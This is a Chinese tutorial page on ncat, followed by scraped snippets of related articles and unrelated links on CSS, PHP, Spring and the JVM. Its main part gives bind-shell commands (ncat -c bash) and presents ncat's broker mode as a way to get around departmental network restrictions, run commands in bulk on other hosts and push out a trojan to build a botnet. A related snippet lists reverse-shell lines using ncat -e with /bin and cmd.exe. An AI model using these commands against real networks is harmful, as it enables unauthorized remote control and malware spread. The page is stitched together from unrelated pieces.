ncat的使用
由于netcat的缺陷,所以有了升级版ncat,弥补了netcat的一些不足。
ncat是nmap工具包的一个工具。
服务器端
ncat -c bash --allow 192.168.1.119 -vnl 333 --ssl
--allow 192.168.1.119只允许192.168.1.119这个IP进行连接。 -vnl 开放的端口是333 。--ssl 启用ssl加密。
客户端
ncat -nv 192.168.1.115 333 --ssl
其实ncat还有更强大的用法,可以越过受限的网络对其中的主机操作,
假设有这样一个场景:在一个公司,主机1作为公共的服务器,其他的主机都能与之建立连接,而主机2、3、4、5属于研发部,而主机6属于销售部,由于在不同的部门,主机6与主机2、3、4、5之间的连接是受限的。

现在如果主机6想突破限制,对主机2、3、4、5建立连接,并进行一些操作,我们就可以使用ncat的boker功能
在主机1 ncat -l 333 --broker

主机2、3、4、5通过333端口,用ncat连接到主机1 ,ncat 192.168.1.110 333
主机6也通过333端口,用ncat连接到主机1,ncat 192.168.1.110 333
这时,主机1就像一个hub一样将2、3、4、5、6连接起来,当在2、3、4、5、6的任何一台主机上发送指令时,其他的主机都会接收到,比如在主机6上输入"666666",主机2、3、4、5、6都会收到"666666"
不仅如此还可以传递文件和命令,甚至可以创建大规模的集控僵尸网络。
批量执行命令
在主机1 ncat -l 333 --broker
在主机2、3、4、5 用ncat连接到主机1 ,ncat 192.168.1.110 333
在主机6 ncat 192.168.1.110 333 --sh-exec "echo pwd"
就相当于在主机2、3、4、5上执行了pwd指令
在主机6 ncat 192.168.1.110 333 --sh-exec "echo mkdir a"
就相当于在主机2、3、4、5上创建了一个文件夹a
批量传文件
在主机1 ncat -l 333 --broker
在主机2、3、4、5 用ncat连接到主机1 ,ncat 192.168.1.110 333
在主机6 ncat --send-only 192.168.1.110 333 < 文件名
在主机2、3、4、5 就接收到了这个文件
这个文件可以是一个木马,然后批量执行这个木马,就达到了集群控制的效果
ncat的使用的更多相关文章
- 使用Ncat反弹Shell
ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe
- ncat
ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的.它是一款拥有多种功能的 CLI 工具,可以用来在网络上读.写以及重定向数据. 它被设计成可以被脚本或其他程序调用的可靠的后端工 ...
- Linux每天一个命令:nc/ncat
nmap-ncat.x86_64版nc/ncat nc/ncat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒 ...
- 一文让你熟练掌握Linux的ncat(nc)命令
一文让你熟练掌握Linux的ncat(nc)命令 ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的.它是一款拥有多种功能的 CLI 工具,可以用来在网络上读.写以及重定向数据. ...
- 基于RFC5321使用ncat发送邮件
今天和同事学习到的这个方法,学习了,记录一下: [root@localhost ~]# ncat TeamServer.localdomain ESMTP Postfix EHLO l00.win - ...
- shell 命名管道,进程间通信, ncat作http server
命名管道基础 命名管道也被称为FIFO文件, 在文件系统中是可见的,并且跟其它文件一样可以读写! 命名管道特点: 当写进程向管道中写数据的时候,如果没有进程读取这些数据,写进程会堵塞 当读取管道中的数 ...
- linux包之nmap之ncat命令
[root@ka1che225 ~]# which nc/usr/bin/nc[root@ka1che225 ~]# which ncat/usr/bin/ncat[root@ka1che225 ~] ...
- Nmap & ncat
Nmap & ncat https://github.com/udacity/course-ud303 https://nmap.org/dist/nmap-7.30-setup.exe Yo ...
- linux ncat命令
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做的 ...
随机推荐
- 2、申请苹果App ID
在“iOS Certificates”页面“Identifiers"下选择“App IDs",可查看到已申请的所有App ID,点击右上角的加号可创建新“App ID”:打开“Re ...
- 14.纯 CSS 创作一种侧立图书的特效
原文地址:https://segmentfault.com/a/1190000014751037 HTML代码: <div class="books"> <div ...
- TCP/UDP模型
1网络接口层 MAC地址2网络互联层 IP地址3传输层 TCP/UDP端口号4应用层 应用层协议
- python中的partition、rpartition
partition()从左向右寻找,以字符串中的某个元素为中心将左右分割共分割成三个元素并放入到元组中 partition()从右向左寻找,以字符串中的某个元素为中心将左右分割共分割成三个元素并放入到 ...
- 【3-30】document获取、事件、标记样式
一.获取标记对象 1.id选择:document.getelementbyid("id名")---根据id找单个元素 2.class选择:document.getelementsb ...
- php单图片上传。
1.input:file form 提交 /** * 用户头像上传 * @param [type] $file 图像信息 */ function domeadd($file){ if (is_arra ...
- springMVC接受json并打开新页面
背景:框架中,两个web工程A,B,我的B工程开发了一个对外action接口,A来连,要实现的功能是,A的页面发起一个action请求,到达B的springmvc,通过验证后,打开一个B工程新的tab ...
- Spring.net介绍及MVC中应用
Spring.net两大核心内容: IOC(控制反转) 传统的面相对象思维模式是对象A依赖对象B,对象B的实例化和调用都在对象A中发生,一旦对象B中发生变化,对象A也要随之变化,这样使得程序间行程了紧 ...
- 没有cv2.so文件
最近发现opencv安装的有问题,发现少了cv2.so文件,这个文件是给python的调度包. 查来查去,发现cmake的时候有这个: -- Found PythonInterp: /usr/bin/ ...
- JVM老年代和新生代的比例
在 Java 中,堆被划分成两个不同的区域:新生代 ( Young ).老年代 ( Old ).新生代 ( Young ) 又被划分为三个区域:Eden.From Survivor.To Surviv ...